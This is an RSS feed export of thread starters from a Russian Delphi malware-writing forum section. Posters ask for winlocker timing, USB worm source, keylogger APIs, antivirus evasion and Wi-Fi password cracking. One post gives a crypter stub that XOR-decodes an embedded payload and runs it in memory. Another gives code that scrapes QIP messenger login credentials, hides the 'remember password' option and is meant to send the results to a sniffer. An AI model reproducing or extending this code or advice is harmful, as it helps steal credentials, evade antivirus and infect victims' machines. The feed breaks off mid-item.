<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title>delfcode</title>
		<link>https://delfcode.ru/forum/</link>
		<description>delfcode</description>
		<lastBuildDate>Thu, 29 Dec 2016 11:41:43 GMT</lastBuildDate>
		<generator>uCoz Web-Service</generator>
		
		<item>
			<title>Как сделать так, чтоб программа запускалась не сразу?</title>
			<link>https://delfcode.ru/forum/10-962-1</link>
			<pubDate>Thu, 29 Dec 2016 11:41:43 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Через некоторое время?&lt;br /&gt;Автор темы: Michael_Troshin&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 14</description>
			<content:encoded>Как сделать так, чтоб винлок (Написанный на делфи) запускался через минут 20 после открытия?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Michael_Troshin</dc:creator>
			<guid>https://delfcode.ru/forum/10-962-1</guid>
		</item>
		<item>
			<title>USB WORM</title>
			<link>https://delfcode.ru/forum/10-337-1</link>
			<pubDate>Thu, 29 Dec 2016 11:40:34 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: нужен сорец&lt;br /&gt;Автор темы: cool1&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 7</description>
			<content:encoded>Привет, &lt;br /&gt; пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки &lt;br /&gt; типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе &lt;br /&gt; &lt;img src=&quot;http://s5.ucoz.net/sm/2/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot;&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>cool1</dc:creator>
			<guid>https://delfcode.ru/forum/10-337-1</guid>
		</item>
		<item>
			<title>тграничения на курсор</title>
			<link>https://delfcode.ru/forum/10-1369-1</link>
			<pubDate>Thu, 29 Dec 2016 11:39:42 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: HTTqp&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>Пытаюсь ограничить передвижения курсора, все бы хорошо, но почему то у меня при компиляции работает идеально, при запуске на других машинах почему то он спокойно выходит за границы формы. &lt;br /&gt; Код: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure tp(hWnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD&amp;#41;;&amp;nbsp;&amp;nbsp;stdcall;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PrmInRect: TRect; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowRect(hWnd,PrmInRect&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClipCursor(@PrmInRect&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; //Запускаю так &lt;br /&gt; //hWinHandle это хендл окна, созданый на winapi &gt; hWinHandle:=CreateWindowEx(....&amp;#41;;&amp;nbsp;&amp;nbsp;&lt;br /&gt; SetTimer(hWinHandle,1,100,@tp&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>HTTqp</dc:creator>
			<guid>https://delfcode.ru/forum/10-1369-1</guid>
		</item>
		<item>
			<title>Способы управления малварью</title>
			<link>https://delfcode.ru/forum/10-593-1</link>
			<pubDate>Thu, 29 Dec 2016 11:09:28 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Какие существуют?&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 6</description>
			<content:encoded>Нужны все возможные (удобные&amp;#92;неудобные - без разницы) способы управления малварью (не ботнетом). Чтобы не было повторов назову известные мне: &lt;br /&gt; - Веб-панель: только если масса компов. + будет медленно, ибо слишком частые запросы на сайт вызовут подозрние. &lt;br /&gt; - Бэкконнект (коннект от жертвы к вашему компу), создание сервера на компе жертвы: нужна выделенка (в обоих случаях), которой нет. &lt;br /&gt; - ICQ: вариант. Но способ детский и дает килотонну веса софту.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>gravitas</dc:creator>
			<guid>https://delfcode.ru/forum/10-593-1</guid>
		</item>
		<item>
			<title>Запуск программы из другой</title>
			<link>https://delfcode.ru/forum/10-837-1</link>
			<pubDate>Thu, 29 Dec 2016 11:01:11 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ashkalov&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 12</description>
			<content:encoded>Есть идея, но не знаю как это осуществить. &lt;br /&gt; Каким образом отправить программе команду на запуск другой программы? &lt;br /&gt; например отправить программе explorer.exe команду на запуск notepad.exe &lt;br /&gt;&lt;br /&gt; идея такова, что если exlorer запустит notepad , то передаст ему прова администратора) &lt;br /&gt;&lt;br /&gt; Буду благодарен за помощь товарищи)))</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>ashkalov</dc:creator>
			<guid>https://delfcode.ru/forum/10-837-1</guid>
		</item>
		<item>
			<title>Листинг функции FileExists</title>
			<link>https://delfcode.ru/forum/10-850-1</link>
			<pubDate>Thu, 29 Dec 2016 10:51:11 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Играем на размер&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 5</description>
			<content:encoded>Доброго времени суток. &lt;br /&gt; Ребят, у кого-нибудь есть листинг этой функции? из модуля SysUtils. Либо ее аналог, позволяющий проверять существование файла. &lt;br /&gt; Пишу без подключаемых модулей, классов и объектов.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Anton93</dc:creator>
			<guid>https://delfcode.ru/forum/10-850-1</guid>
		</item>
		<item>
			<title>Stub by Crypted</title>
			<link>https://delfcode.ru/forum/10-883-1</link>
			<pubDate>Thu, 29 Dec 2016 10:45:01 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: alex0097&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 10</description>
			<content:encoded>Нарыл на забугореном сайте криптор. Так вот пытаюсь разобраться... &lt;br /&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt; &lt;br /&gt; program Stub; &lt;br /&gt;&lt;br /&gt; {$IMAGEBASE $10000000} &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt; Windows, uEOF, uRunPE; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt; Buffer :String; &lt;br /&gt; bBuff :TByteArray; &lt;br /&gt;&lt;br /&gt; function MakeXor(Buffer :String; Key :Integer) :String; &lt;br /&gt; var &lt;br /&gt; i,c,x :Integer; &lt;br /&gt; begin &lt;br /&gt; for i := 1 to Length(Buffer) do &lt;br /&gt; begin &lt;br /&gt; c := Integer(Buffer[i]); &lt;br /&gt; x := c xor Key; &lt;br /&gt; Result := Result + Char(x); &lt;br /&gt; end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function StrToByteArray(Str: string) :TByteArray; &lt;br /&gt; begin &lt;br /&gt; SetLength(result, Length(Str)); &lt;br /&gt; CopyMemory(@Result[0], @Str[1], Length(Str)); &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; begin &lt;br /&gt; Buffer := ReadEof(&apos;[1]&apos;, &apos;[2]&apos;); &lt;br /&gt; Buffer := MakeXor(Buffer, 1337); &lt;br /&gt;&lt;br /&gt; bBuff := StrToByteArray(Buffer); &lt;br /&gt; RunExe(ParamStr(0), bBuff); &lt;br /&gt; end.&lt;/span&gt;&lt;!--/BBhide--&gt; &lt;br /&gt;&lt;br /&gt; Кто что скажет?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>alex0097</dc:creator>
			<guid>https://delfcode.ru/forum/10-883-1</guid>
		</item>
		<item>
			<title>тащим пароли с icq,skype,и тд</title>
			<link>https://delfcode.ru/forum/10-743-1</link>
			<pubDate>Thu, 29 Dec 2016 10:31:05 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: API&lt;br /&gt;Автор темы: oke&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>На примере я использовал QIP 2010 и вот что получилось)) &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls, ExtCtrls; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1: TMemo; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button1: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;okno,login,psswd,auto:HWND; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;log,pass:array &amp;#91;0..255] of char; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;okno:=FindWindow(&apos;TfrmMan.UnicodeClass&apos;,&apos;QIP 2010&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if okno&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;login:= FindWindowEx(okno,0,&apos;TInfuComboBox.UnicodeClass&apos;,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;psswd:= FindWindowEx(okno,0,&apos;TInfuEdit.UnicodeClass&apos;,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sendmessage(login,WM_GETTEXT,20,Integer(@log&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sendmessage(psswd,WM_GETTEXT,20,Integer(@pass&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1.Lines.Add(&apos;ICQ : &apos;+ log&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memo1.Lines.Add(&apos;Password : &apos;+pass&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;auto:= FindWindowEx(okno,0,&apos;TInfuCheckBox.UnicodeClass&apos;,&apos;Не спрашивать пароль&apos;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if auto&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowWindow(auto,SW_HIDE&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; сделал невидимой галочку &quot;запомнить пароль&quot; чтоб жертва не нажмала и в дальнейшем не смогла зайти автоматически а мы же дописываем процедуру отлова кнопки вход и при ее нажатии отсылаем на сниффер &lt;img src=&quot;http://s5.ucoz.net/sm/23/happy.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;happy&quot; /&gt; то что у нас в мемо и все) такой способ вроде бы еще не использовали(следовательно антивири должны молчать)</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>oke</dc:creator>
			<guid>https://delfcode.ru/forum/10-743-1</guid>
		</item>
		<item>
			<title>как к прог-ме добавить UAC, запрос запуска от имени админ-а?</title>
			<link>https://delfcode.ru/forum/10-1118-1</link>
			<pubDate>Thu, 29 Dec 2016 09:15:56 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: при запуске должно появится окно запрос запуска от имени адм&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 1</description>
			<content:encoded>Всем привет, как это осуществить, в инете искал, нашел, но не появился запрос, может есть программа для этого, например как в программе bat to exe converter, ставишь галку в чекбоксе - Запрос от имени админа и всё. Программа при запуске выдаёт запрос.&lt;p&gt;&lt;b&gt;Добавлено&lt;/b&gt; (18.08.2013, 16:46)&lt;br /&gt;---------------------------------------------&lt;br /&gt;Всё решил проблему всем спасибо &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; &lt;br /&gt; Извиняюсь я не туда обратился, не в тот раздел, я сюда недавно пришел</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>MAS</dc:creator>
			<guid>https://delfcode.ru/forum/10-1118-1</guid>
		</item>
		<item>
			<title>Function</title>
			<link>https://delfcode.ru/forum/10-1151-1</link>
			<pubDate>Thu, 29 Dec 2016 09:11:46 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Born&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 2</description>
			<content:encoded>Всем привет!ребят скажите пожалкйста какие функции использовать,для написания кейлоггера?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Born</dc:creator>
			<guid>https://delfcode.ru/forum/10-1151-1</guid>
		</item>
		<item>
			<title>Автозагрузка</title>
			<link>https://delfcode.ru/forum/10-1154-1</link>
			<pubDate>Thu, 29 Dec 2016 09:11:13 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Blood_Hunter&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Какой код писать чтобы добавить программу в автозагрузку через реестр</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Blood_Hunter</dc:creator>
			<guid>https://delfcode.ru/forum/10-1154-1</guid>
		</item>
		<item>
			<title>Как распространить</title>
			<link>https://delfcode.ru/forum/10-925-1</link>
			<pubDate>Thu, 29 Dec 2016 09:10:24 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: pascal&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 9</description>
			<content:encoded>Как распространить программу через интернет</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>pascal</dc:creator>
			<guid>https://delfcode.ru/forum/10-925-1</guid>
		</item>
		<item>
			<title>Как избавится от сигнатурного детекта?</title>
			<link>https://delfcode.ru/forum/10-1379-1</link>
			<pubDate>Thu, 29 Dec 2016 08:58:23 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Есть исходник трояна - палицо всем чем можно, удалил пару функций - детект спал, из 22 тепер 12. Находят как &quot;Gen:Variant.Kazy.247008&quot; &lt;br /&gt; Если можно примеры на дельфи или масме, асме - спасибо.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/10-1379-1</guid>
		</item>
		<item>
			<title>Пошаговое руководство к исполняемым файлам</title>
			<link>https://delfcode.ru/forum/10-1467-1</link>
			<pubDate>Thu, 29 Dec 2016 08:17:40 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 1</description>
			<content:encoded>&lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/14/9719556.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/14/s9719556.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Anton93</dc:creator>
			<guid>https://delfcode.ru/forum/10-1467-1</guid>
		</item>
		<item>
			<title>автозапуск незаметно для антивируса?</title>
			<link>https://delfcode.ru/forum/10-1469-1</link>
			<pubDate>Thu, 29 Dec 2016 08:12:11 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: AligatorBkmz&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Данный код явно вызывает недовольство у антивируса Avast во время его исполнения, и выдает некрасивое предупреждение:&lt;br /&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;procedure Autorun(Flag:boolean; NameParam, Path:String&amp;#41;;&lt;br /&gt;var Reg:TRegistry;&lt;br /&gt;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;if Flag then&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg := TRegistry.Create;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.RootKey := HKEY_CURRENT_USER;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.OpenKey(&apos;&amp;#92;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run&apos;, false&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.WriteString(NameParam, Path&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.Free;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end&lt;br /&gt;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;begin&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg := TRegistry.Create;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.RootKey := HKEY_CURRENT_USER;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.OpenKey(&apos;&amp;#92;SOFTWARE&amp;#92;Microsoft&amp;#92;Windows&amp;#92;CurrentVersion&amp;#92;Run&apos;,false&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.DeleteValue(NameParam&amp;#41;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Reg.Free;&lt;br /&gt;&amp;nbsp;&amp;nbsp;end;&lt;br /&gt;end;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;br /&gt;Как бы запустить прогу автоматом не вызывая недовольств антивируса?</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>AligatorBkmz</dc:creator>
			<guid>https://delfcode.ru/forum/10-1469-1</guid>
		</item>
		<item>
			<title>Подбор паролей для wi-fi</title>
			<link>https://delfcode.ru/forum/10-1363-1</link>
			<pubDate>Thu, 29 Dec 2016 08:10:06 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Есть у кого нибудь такой исходник на дельфи? &lt;br /&gt;&lt;br /&gt; Или пример как сделать авторизацию.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>d4rkzy</dc:creator>
			<guid>https://delfcode.ru/forum/10-1363-1</guid>
		</item>
		<item>
			<title>Реестр</title>
			<link>https://delfcode.ru/forum/10-1477-1</link>
			<pubDate>Thu, 29 Dec 2016 08:09:08 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: alex0097&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 4</description>
			<content:encoded>Ребят привет. Подскажите пожалуйста хорошие способы прописи в реестр Win 7, 8.1, 10&lt;br /&gt;не используя класс &lt;b&gt;registry&lt;/b&gt;, а то достала проактивка AB</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>alex0097</dc:creator>
			<guid>https://delfcode.ru/forum/10-1477-1</guid>
		</item>
		<item>
			<title>Запрет удаления файла.</title>
			<link>https://delfcode.ru/forum/10-671-1</link>
			<pubDate>Fri, 11 Nov 2016 08:06:02 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: mercer&lt;br /&gt;Количество ответов: 19</description>
			<content:encoded>Всем привет , &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt; хотел спросить,какие API функции нужно перехватывать,чтобы отловить событие удаления &lt;br /&gt; файла в проводнике?Я пробовал перехватывать DeleteFile и NtDeleteFile.Всё это работает,если удалять файл именно используя эти функции.Но на работу проводника это не влияет.Может он использует другие функции? &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt;</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Neo</dc:creator>
			<guid>https://delfcode.ru/forum/10-671-1</guid>
		</item>
		<item>
			<title>Собираем список антивирусных прог</title>
			<link>https://delfcode.ru/forum/10-646-1</link>
			<pubDate>Sun, 02 Oct 2016 15:54:06 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Собираем список антивирусных прог&lt;br /&gt;Автор темы: Android&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 3</description>
			<content:encoded>Товарищи, давайте соберем список процессов антивирусов и фаерволов вместе с названиями экзешников. Накидывайте в эту тему у кого что есть по данному вопросу. Вот у меня аваст. Я так понял что его процессы называются AvastSvc.exe и AvastUI.exe. &lt;br /&gt;&lt;br /&gt; Хочу написать функцию, которая по имени процесса говорила, опасен ли он для вируса или нет. Аналогично с файлами.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>Android</dc:creator>
			<guid>https://delfcode.ru/forum/10-646-1</guid>
		</item>
		<item>
			<title>Расшифровка паролей Mozilla Firefox 32+</title>
			<link>https://delfcode.ru/forum/10-1349-1</link>
			<pubDate>Mon, 05 Sep 2016 13:23:03 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ramzeswr&lt;br /&gt;Автор последнего сообщения: soxosici&lt;br /&gt;Количество ответов: 31</description>
			<content:encoded>&lt;img src=&quot;http://i.zhyk.ru/images/7e6Cs.png&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt; &lt;br /&gt; Начиная с 32 версии firefox хранит сохраненые пароли в json формате в файле &quot;logins.json&quot; &lt;br /&gt; Вот моя реализация расшифровки, правда с небольшим дефектом, добавляется символ Z в разных количествах. (проблема где-то в PK11SDR_Decrypt, я так думаю) &lt;br /&gt; Кто сможет исправить данный дефект - просьба отписать в тему.</content:encoded>
			<category>Вирусология Delphi</category>
			<dc:creator>ramzeswr</dc:creator>
			<guid>https://delfcode.ru/forum/10-1349-1</guid>
		</item>
		<item>
			<title>Узнаем установленный АВ и фаирвол</title>
			<link>https://delfcode.ru/forum/10-1413-1</link>
